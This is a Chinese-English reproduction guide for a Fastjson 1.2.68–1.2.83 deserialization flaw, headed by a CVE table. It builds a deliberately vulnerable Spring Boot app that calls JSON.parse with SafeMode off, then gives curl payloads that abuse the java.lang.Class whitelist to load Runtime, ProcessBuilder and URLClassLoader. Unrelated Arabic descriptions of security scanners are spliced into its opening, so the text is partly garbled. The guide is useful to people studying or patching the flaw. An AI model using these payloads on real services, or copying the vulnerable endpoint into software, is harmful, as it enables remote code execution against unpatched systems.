
CVE-2026-16723: RCE in Fastjson 1.2.68-1.2.83 through a java.lang.Class whitelist bypass.

ماسح ثغرات سريع يعتمد على YAML مع محرك كشف قائم على القوالب للاختبار الأمني الآلي عبر تطبيقات الويب، وواجهات برمجة التطبيقات (APIs)، والشبكات، وDNS، والبنية التحتية السحابية.

ماسح أمني لتطبيقات الويب مفتوح المصدر للكشف الآلي عن الثغرات الأمنية، واختبار الاختراق اليدوي، واختبار أمان واجهات برمجة التطبيقات (API) باستخدام محرك اعتراض قائم على الوكيل.

يحتوي هذا المستودع على مكوّن الماسح الضوئي لإصدار Greenbone Community Edition.
CVE-2026-16723 | Alibaba Fastjson | Deserialization RCE (CWE-502) | CVSS 9.0 CRITICAL Fixed version: no official patch for 1.x; migrate to Fastjson 2.x or enable SafeMode Exploited in the wild: yes
| Item | Details |
|---|---|
| CVE | CVE-2026-16723 |
| Component | Alibaba Fastjson 1.x |
| Affected versions | 1.2.68 ~ 1.2.83 |
| Vulnerability type | Deserialization RCE (CWE-502) |
| CVSS | 9.0 CRITICAL (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Exploited in the wild | Yes |
| Discoverer | Kirill Firsov (FearsOff Cybersecurity) |
| Exploitation requirements | Spring Boot fat-jar deployment with SafeMode disabled |
| Distinguishing feature | No need to enable AutoType or have a classpath gadget |
ParserConfig.INTERNAL_WHITELIST in Fastjson 1.2.68-1.2.83 includes java.lang.Class.
When Fastjson deserializes a java.lang.Class value, it uses MiscCodec to call
TypeUtils.loadClass(className, defaultClassLoader, false) and load an arbitrary class.
In a Spring Boot fat-jar deployment, the default class loader is org.springframework.boot.loader.LaunchedURLClassLoader.
An attacker can instantiate arbitrary classes through malicious JSON and combine them with other gadget chains to achieve RCE.
# 进入 Kali WSL
wsl -d kali-linux
# 检查 Java
java -version
# 需 JDK 8+ (推荐 JDK 11/17)
# 检查 Maven
mvn -version
# 需 Maven 3.6+
# 如未安装:
apt-get install -y default-jdk maven
# 在项目目录中检查依赖
find ~/.m2 -name "fastjson-1.2.*.jar" | sort
# 受影响版本:1.2.68, 1.2.69, ..., 1.2.83
# 确认应用以 fat-jar 运行
unzip -l target/app.jar | grep "BOOT-INF"
# 应输出 BOOT-INF/classes/ 和 BOOT-INF/lib/
# 确认类加载器
# 在应用启动日志中查找:
# "classLoader" : "org.springframework.boot.loader.LaunchedURLClassLoader"
mkdir -p ~/work/fastjson-cve/springboot-app
cd ~/work/fastjson-cve/springboot-app
pom.xml file:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>fastjson-demo</artifactId>
<version>1.0</version>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- 漏洞版本 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
mkdir -p src/main/java/com/example
src/main/java/com/example/DemoApplication.java source file:
package com.example;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.*;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;
import java.util.*;
@SpringBootApplication
@RestController
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
// 漏洞端点:默认配置,无 SafeMode
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
Map<String, Object> result = new LinkedHashMap<>();
try {
Object obj = JSON.parse(body);
result.put("status", "ok");
result.put("class", obj != null ? obj.getClass().getName() : "null");
result.put("value", obj != null ? obj.toString() : "null");
} catch (Exception e) {
result.put("status", "error");
result.put("error", e.getMessage());
}
return result;
}
// 检查类是否可被加载
@GetMapping("/check")
public Map<String, Object> check(@RequestParam String className) {
Map<String, Object> result = new LinkedHashMap<>();
ParserConfig pc = ParserConfig.getGlobalInstance();
try {
Class<?> clazz = pc.checkAutoType(className, null);
result.put("class", clazz != null ? clazz.getName() : "null");
result.put("allowed", clazz != null);
} catch (Exception e) {
result.put("error", e.getMessage());
result.put("allowed", false);
}
return result;
}
// 获取配置信息
@GetMapping("/info")
public Map<String, Object> info() {
Map<String, Object> result = new LinkedHashMap<>();
ParserConfig pc = ParserConfig.getGlobalInstance();
result.put("autoTypeSupport", pc.isAutoTypeSupport());
result.put("safeMode", pc.isSafeMode());
result.put("classLoader",
getClass().getClassLoader().getClass().getName());
return result;
}
}
# 编译
mvn package -DskipTests
# 运行(默认端口 8080)
java -jar target/fastjson-demo-1.0.jar
# 验证启动
curl http://127.0.0.1:8080/info
# 应返回:
# {"autoTypeSupport":false,"safeMode":false,
# "classLoader":"org.springframework.boot.loader.LaunchedURLClassLoader"}
# 检查目标配置
curl http://127.0.0.1:8080/info | python3 -m json.tool
Expected output (vulnerable state):
{
"autoTypeSupport": false,
"safeMode": false,
"classLoader": "org.springframework.boot.loader.LaunchedURLClassLoader"
}
Mechanism: java.lang.Class is on Fastjson's internal whitelist, allowing @type to instantiate it and load arbitrary classes.
# 加载 java.lang.Runtime
curl -s -X POST http://127.0.0.1:8080/parse \
-H "Content-Type: application/json" \
-d '{"@type":"java.lang.Class","val":"java.lang.Runtime"}'
# 加载 java.lang.ProcessBuilder
curl -s -X POST http://127.0.0.1:8080/parse \
-H "Content-Type: application/json" \
-d '{"@type":"java.lang.Class","val":"java.lang.ProcessBuilder"}'
# 加载 URLClassLoader(通常被 autoType 拒绝,但 java.lang.Class 可绕过)
curl -s -X POST http://127.0.0.1:8080/parse \
-H "Content-Type: application/json" \
-d '{"@type":"java.lang.Class","val":"java.net.URLClassLoader"}'
Expected output:
{"status":"ok","class":"java.lang.Class","value":"class java.lang.Runtime"}
Mechanism: java.net.URL is on the internal whitelist. Placing it in a HashMap triggers hashCode(), causing DNS/HTTP requests.